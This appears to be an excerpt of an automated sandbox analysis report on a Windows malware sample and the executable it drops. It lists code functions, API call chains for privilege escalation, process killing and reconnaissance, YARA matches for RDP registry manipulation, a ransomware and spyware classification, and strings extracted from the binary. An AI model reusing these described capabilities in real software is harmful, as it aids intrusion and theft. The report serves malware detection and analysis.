Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C863266	6_2_6C863266
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C88026A	6_2_6C88026A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C808279	6_2_6C808279
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C83A386	6_2_6C83A386
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C86C38C	6_2_6C86C38C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A93C9	6_2_6C8A93C9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C86F32A	6_2_6C86F32A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C86E35C	6_2_6C86E35C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C878368	6_2_6C878368
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C806374	6_2_6C806374
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033ED051	6_2_033ED051
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03425358	6_2_03425358
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033EF384	6_2_033EF384
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F1294	6_2_033F1294
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033FC124	6_2_033FC124
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F0194	6_2_033F0194
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0342D07A	6_2_0342D07A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F70B4	6_2_033F70B4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034480E8	6_2_034480E8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034307A6	6_2_034307A6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034327A4	6_2_034327A4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F56F4	6_2_033F56F4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0340F474	6_2_0340F474
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033EE444	6_2_033EE444
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034204C4	6_2_034204C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03428B51	6_2_03428B51
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03449BE1	6_2_03449BE1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03428AA4	6_2_03428AA4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F4AC4	6_2_033F4AC4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0344D922	6_2_0344D922
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034229C4	6_2_034229C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F1814	6_2_033F1814
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033EF874	6_2_033EF874
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_034408EE	6_2_034408EE
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0342CE46	6_2_0342CE46
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033F1EA4	6_2_033F1EA4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03449D05	6_2_03449D05
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_0342CC12	6_2_0342CC12
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_033EFCE4	6_2_033EFCE4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_1000F100	6_2_1000F100
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_10040056	6_2_10040056
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_1000A090	6_2_1000A090
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_1005B0C4	6_2_1005B0C4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C845835	7_2_6C845835
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C801112	7_2_6C801112
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C809CCA	7_2_6C809CCA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C889CC5	7_2_6C889CC5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A1CD1	7_2_6C8A1CD1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C85DD8F	7_2_6C85DD8F
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C84BDD0	7_2_6C84BDD0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C85EDF5	7_2_6C85EDF5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C891D12	7_2_6C891D12
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C81CD32	7_2_6C81CD32
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C87BD48	7_2_6C87BD48
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C896D46	7_2_6C896D46
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C869D7B	7_2_6C869D7B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C81AED7	7_2_6C81AED7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C879E12	7_2_6C879E12
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C873E4C	7_2_6C873E4C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C808E60	7_2_6C808E60
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A8E6E	7_2_6C8A8E6E
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C81BFD7	7_2_6C81BFD7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C897F37	7_2_6C897F37
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C81DF3F	7_2_6C81DF3F
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C81387C	7_2_6C81387C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C885990	7_2_6C885990
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8899C6	7_2_6C8899C6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8409DA	7_2_6C8409DA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C88B9D7	7_2_6C88B9D7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A1933	7_2_6C8A1933
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C826973	7_2_6C826973
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C88CAA5	7_2_6C88CAA5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C817BAA	7_2_6C817BAA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C815BBD	7_2_6C815BBD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C870BCC	7_2_6C870BCC
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C80EBF4	7_2_6C80EBF4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A248B	7_2_6C8A248B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A149E	7_2_6C8A149E
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C80B41A	7_2_6C80B41A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8305B3	7_2_6C8305B3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C84B5D7	7_2_6C84B5D7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C89B503	7_2_6C89B503
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C814544	7_2_6C814544
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C848689	7_2_6C848689
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C815698	7_2_6C815698
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C874698	7_2_6C874698
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8786B7	7_2_6C8786B7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C87F6C9	7_2_6C87F6C9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8967F5	7_2_6C8967F5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C88974B	7_2_6C88974B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C84D768	7_2_6C84D768
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A20A3	7_2_6C8A20A3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C82E0D8	7_2_6C82E0D8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C877003	7_2_6C877003
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C872025	7_2_6C872025
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C86B07C	7_2_6C86B07C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C85A192	7_2_6C85A192
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C80E1C8	7_2_6C80E1C8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8962A6	7_2_6C8962A6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8182B2	7_2_6C8182B2
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A42E1	7_2_6C8A42E1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8662E8	7_2_6C8662E8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C863266	7_2_6C863266
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C88026A	7_2_6C88026A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C808279	7_2_6C808279
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C83A386	7_2_6C83A386
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C86C38C	7_2_6C86C38C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A93C9	7_2_6C8A93C9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C86F32A	7_2_6C86F32A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C86E35C	7_2_6C86E35C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C878368	7_2_6C878368
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C806374	7_2_6C806374

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll 885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: String function: 0049CD60 appears 36 times
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: String function: 0049CDF6 appears 38 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C8823D3 appears 38 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C822962 appears 66 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 03426AE4 appears 58 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C887820 appears 148 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C8214FC appears 136 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C80CB4D appears 878 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C80C822 appears 40 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C889165 appears 42 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C881F84 appears 940 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C883864 appears 346 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C887ECE appears 72 times
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: String function: 6C899148 appears 46 times

Source: 8CoDx513sS.exe	Static PE information: Resource name: BINDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 8CoDx513sS.exe	Static PE information: Resource name: BINDATA type: PE32 executable (console) Intel 80386, for MS Windows

Source: 8CoDx513sS.exe, 00000000.00000002.3416237695.0000000003780000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 8CoDx513sS.exe
Source: 8CoDx513sS.exe, 00000000.00000002.3416091792.0000000003686000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 8CoDx513sS.exe

Source: 8CoDx513sS.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 6.2.vhCQTUg.exe.32eec24.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 6.2.vhCQTUg.exe.33edc24.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 6.2.vhCQTUg.exe.32eec24.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 6.2.vhCQTUg.exe.33edc24.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services

Source: classification engine

Classification label: mal100.rans.bank.troj.spyw.evad.winEXE@5/8@3/3

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03406F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

6_2_03406F74

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_025118EE OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	0_2_025118EE
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_025118A4 AdjustTokenPrivileges,	0_2_025118A4
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02511776 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	0_2_02511776
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_100018A0 AdjustTokenPrivileges,	0_2_100018A0
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_100018EA OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	0_2_100018EA
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10001772 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	0_2_10001772
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03414554 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CreateToolhelp32Snapshot,LocalAlloc,Process32First,OpenProcess,K32EnumProcessModules,K32GetProcessImageFileNameA,lstrcpy,lstrcat,OpenProcessToken,GetTokenInformation,GlobalAlloc,GetTokenInformation,LookupAccountSidA,LookupAccountSidA,lstrcpy,GlobalFree,CloseHandle,lstrcpy,lstrlen,lstrlen,LocalSize,LocalReAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,K32GetProcessMemoryInfo,lstrcpy,CreateFileA,GetFileSize,CloseHandle,CloseHandle,Process32Next,LocalReAlloc,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	6_2_03414554
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03414FC4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,OpenProcess,K32GetProcessImageFileNameA,CloseHandle,OpenProcess,TerminateProcess,lstrlen,Sleep,DeleteFileA,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,Sleep,EnumWindows,	6_2_03414FC4

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_034204C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,

6_2_034204C4

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_02511802 CreateToolhelp32Snapshot,_memset,Process32FirstW,lstrcmpiW,Process32NextW,CloseHandle,

0_2_02511802

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_0251238C __EH_prolog3_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,_memset,_memset,_mbstowcs,VariantInit,VariantInit,CoUninitialize,

0_2_0251238C

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03417A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

6_2_03417A82

Source: C:\Users\user\Desktop\8CoDx513sS.exe

File created: C:\Program Files (x86)\cSNNeBKH

Jump to behavior

Source: C:\Users\user\Desktop\8CoDx513sS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\laos[1].bmp

Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Mutant created: \Sessions\1\BaseNamedObjects\MyProgramMutex
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Mutant created: \Sessions\1\BaseNamedObjects\4246/;/36"35<73

Source: 8CoDx513sS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8CoDx513sS.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8CoDx513sS.exe

ReversingLabs: Detection: 15%

Source: 8CoDx513sS.exe	String found in binary or memory: wow-make-installer-crash
Source: 8CoDx513sS.exe	String found in binary or memory: wow-install-target-path
Source: 8CoDx513sS.exe	String found in binary or memory: do-not-launch-chrome
Source: 8CoDx513sS.exe	String found in binary or memory: --multi-install
Source: 8CoDx513sS.exe	String found in binary or memory: wow-installed-safe-product
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=
Source: vhCQTUg.exe	String found in binary or memory: <!--StartFragment -->
Source: vhCQTUg.exe	String found in binary or memory: <!--StartFragment -->
Source: vhCQTUg.exe	String found in binary or memory: <!--StartFragment -->
Source: vhCQTUg.exe	String found in binary or memory: <!--StartFragment -->
Source: 8CoDx513sS.exe	String found in binary or memory: A--chrome-sxs--chrome--chrome-frame--multi-install--system-level--cleanupstring too longinvalid string position
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=
Source: 8CoDx513sS.exe	String found in binary or memory: Global\aHKEY_LOCAL_MACHINE\HKEY_CURRENT_USER\5.5.1.1.15.5.1.1.2http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=Error message : Failed to parse promotion installer config file. d:\webapps\b\build\slave\repo\build\src\wow\chrome\installer\luxury_installer\wow_bundle_modle.ccerror file dataFailed to parse promotion installer config file: datadownload-pmt-cfgcfg-save-tobidpidmax_time_outversionapp_namedownload_url&dsp=&cnt=,config-fileshow-urlcheck-urlCan not get config file, maybe timeout&result=0&err=1Failed to read config from &result=0&err=2Error config file format.&result=0&err=3&result=1&err=05.5.1.1.1regInfodescriptiondownloadUrlqueueidweightnameQ
Source: 8CoDx513sS.exe	String found in binary or memory: wow-make-installer-crash
Source: 8CoDx513sS.exe	String found in binary or memory: wow-install-target-path
Source: 8CoDx513sS.exe	String found in binary or memory: do-not-launch-chrome
Source: 8CoDx513sS.exe	String found in binary or memory: signore-mutexdinstalluninstallwow-upgradewow-repairwow-use-native-uiwow-use-external-flashenable-logginglog-filewow-setup-pathwow-debug-promptwow-disable-preuncompresswow-delete-uninstall-temp-dirwow-uninstall-pidwow-bidwow-pidwow-as-default-browserwow-join-user-expericence-planwow-run-as-adminwow-make-installer-crashwow-child-pidUCBrowserUCBrowser.exeApplicationwow_installer.prefswow_installer.switchessystem-levelinstallerdatadelete-profilewow-install-target-pathwow-make-chrome-defaultwow-participate-eipwow-upgrade-typewow-browser-is-runningwow-user-session-idwow-user-data-pathwow-inferred-localedo-not-launch-chrome
Source: 8CoDx513sS.exe	String found in binary or memory: signore-mutexdinstalluninstallwow-upgradewow-repairwow-use-native-uiwow-use-external-flashenable-logginglog-filewow-setup-pathwow-debug-promptwow-disable-preuncompresswow-delete-uninstall-temp-dirwow-uninstall-pidwow-bidwow-pidwow-as-default-browserwow-join-user-expericence-planwow-run-as-adminwow-make-installer-crashwow-child-pidUCBrowserUCBrowser.exeApplicationwow_installer.prefswow_installer.switchessystem-levelinstallerdatadelete-profilewow-install-target-pathwow-make-chrome-defaultwow-participate-eipwow-upgrade-typewow-browser-is-runningwow-user-session-idwow-user-data-pathwow-inferred-localedo-not-launch-chrome
Source: 8CoDx513sS.exe	String found in binary or memory: wow-installed-safe-product
Source: 8CoDx513sS.exe	String found in binary or memory: Xwow-installed-safe-productroot\SecurityCenter2root\SecurityCenterdisplayNameAntiVirusProduct0zh-CNtohttp_SysEvent_Except&rtype=sysevent&rtype=exceptd:\webapps\b\build\slave\repo\build\src\wow\base\stats\wow_stats_helper.cc&os_ver==lv=1.0&encrypt_data=bluesky\\.\PhysicalDrive%d\\.\Scsi%d:SCSIDISK%uDrive%dModelNumberDrive%dSerialNumberDrive%dControllerRevisionNumberDrive%dControllerBufferSizeDrive%dType%.2xUCService.exebrowsing_data_remover.exeUninstallTempSoftware\UCBrowserPIDFirstBIDFirstPIDMachineIDMachineIDExSoftware\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoiceProgId.htmlSoftware\TaoBrowserPID\MachineID%sstats_uploader.exebrowser_crash_typedump-processpidtidexptrprocess-typebrowser-infoeventversionlog-filefulldumpstats-urlshutdowndump-fileno-uploadNo errorUnsupported protocolFailed initializationURL using bad/illegal format or missing URLA requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.Couldn't resolve proxy nameCouldn't resolve host nameCouldn't connect to serverFTP: weird server replyAccess denied to remote resourceFTP: The server did not accept the PRET command.FTP: unknown PASS replyFTP: unknown PASV replyFTP: unknown 227 response formatFTP: can't figure out the host in the PASV responseFTP: couldn't set file typeTransferred a partial fileFTP: couldn't retrieve (RETR failed) the specified fileQuote command returned errorHTTP response code said errorFailed writing received data to disk/applicationUpload failed (at start/before it took off)Failed to open/read local data from file/applicationOut of memoryTimeout was reachedFTP: command PORT failedFTP: command REST failedRequested range was not delivered by the serverInternal problem setting up the POSTSSL connect errorCouldn't resume downloadCouldn't read a file:// fileLDAP: cannot bindLDAP: search failedA required function in the library was not foundOperation was aborted by an application callbackA libcurl function was given a bad argumentFailed binding local connection endNumber of redirects hit maximum amountAn unknown option was passed in to libcurlMalformed telnet optionSSL peer certificate or SSH remote key was not OKServer returned nothing (no headers, no data)SSL crypto user not foundCan not set SSL crypto user as defaultFailed to initialise SSL crypto userFailed sending data to the peerFailure when receiving data from the peerProblem with the local SSL certificateCouldn't use specified SSL cipherPeer certificate cannot be authenticated with given CA certificatesProblem with the SSL CA cert (path? access rights?)Unrecognized or bad HTTP Content or Transfer-EncodingInvalid LDAP URLMaximum file size exceededRequested SSL level failedFailed to shut down the SSL connectionFailed to load CRL file (path? access rights?, format?)Issuer check against peer certificate failedSend failed since rewinding of the data stream failedLogin deniedTFTP: File Not FoundTFTP: Access ViolationDisk full or allocation ex
